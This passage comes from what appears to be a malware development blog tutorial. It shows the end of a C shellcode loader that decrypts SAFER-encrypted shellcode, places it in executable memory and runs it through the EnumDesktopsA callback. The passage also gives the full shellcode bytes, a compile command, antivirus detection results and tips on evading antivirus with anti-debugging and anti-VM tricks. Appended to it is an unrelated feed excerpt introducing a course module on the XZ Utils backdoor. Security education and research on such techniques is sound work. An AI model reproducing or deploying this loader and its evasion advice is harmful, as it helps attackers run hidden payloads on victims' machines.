  // decrypt the padded shellcode
  for (int i = 0; i < pad_len; i += BLOCK_SIZE) {
    safer_decrypt(&padded[i], key);
  }

  printf("decrypted:\n");
  for (int i = 0; i < sizeof(padded); i++) {
    printf("\\x%02x", padded[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, sizeof(padded), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, pad_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);

  return 0;
}

As you can see, first of all, before encrypting, we use padding via the NOP (\x90) instructions.

As usually, I used meow-meow payload:

"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

For simplicity, I use running shellcode via EnumDesktopsA logic.

demo

Let’s go to see this trick in action. Compile our “malware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

And run it at the victim’s machine (Windows 10 x64 v1903 in my case):

cryptography

cryptography

As you can see, our decrypted shellcode is modified: padding \x90 is working as expected.

Calc entropy and upload to VirusTotal:

python3 entropy.py -f ./hack.exe

cryptography

cryptography

https://www.virustotal.com/gui/file/65c5a47a5c965647f5724e520b23e947deb74ef48b7b961f8f159cdd9c392deb/detection

24 of of 70 AV engines detect our file as malicious as expected.

As you can see, this algorithm encrypts the payload quite well, but it is detected by many AV engines and is poorly suited for bypassing them, but this is most likely due to the fact that a well-studied method of launching the payload is used. if you apply anti-debugging, anti-disassembly and anti-VM tricks, the result will be better.

The Singapore government has considered using SAFER with a 128-bit key for various applications due to its lack of patent, copyright, or other restrictions, making it an attractive choice for widespread adoption.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

SAFER
Malware and cryptography 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Behind Enemy Lines: Understanding the Threat of the XZ Backdoor

By: OffSec
9 April 2024 at 17:05

The following is an excerpt from our new module on the recent XZ Utils backdoor, CVE-2024-3094.

 

On Mar 29, 2024, at 12:00PM ET, Andres Freund posted on the Openwall mailing list about a backdoor he discovered in the XZ Utils package. The backdoor targeted the OpenSSH binary, allowing remote code execution on impacted machines. This backdoor was not located in the GitHub repository, but only in release versions of the package, which hid its presence.

Given that XZ Utils had been installed (directly or indirectly) on billions of Linux systems worldwide, this finding stunned the international Linux and infosec communities.

Understanding the Timeline of the Attack

In late 2021,

... Read more »

The post Behind Enemy Lines: Understanding the Threat of the XZ Backdoor appeared first on OffSec.

❌
❌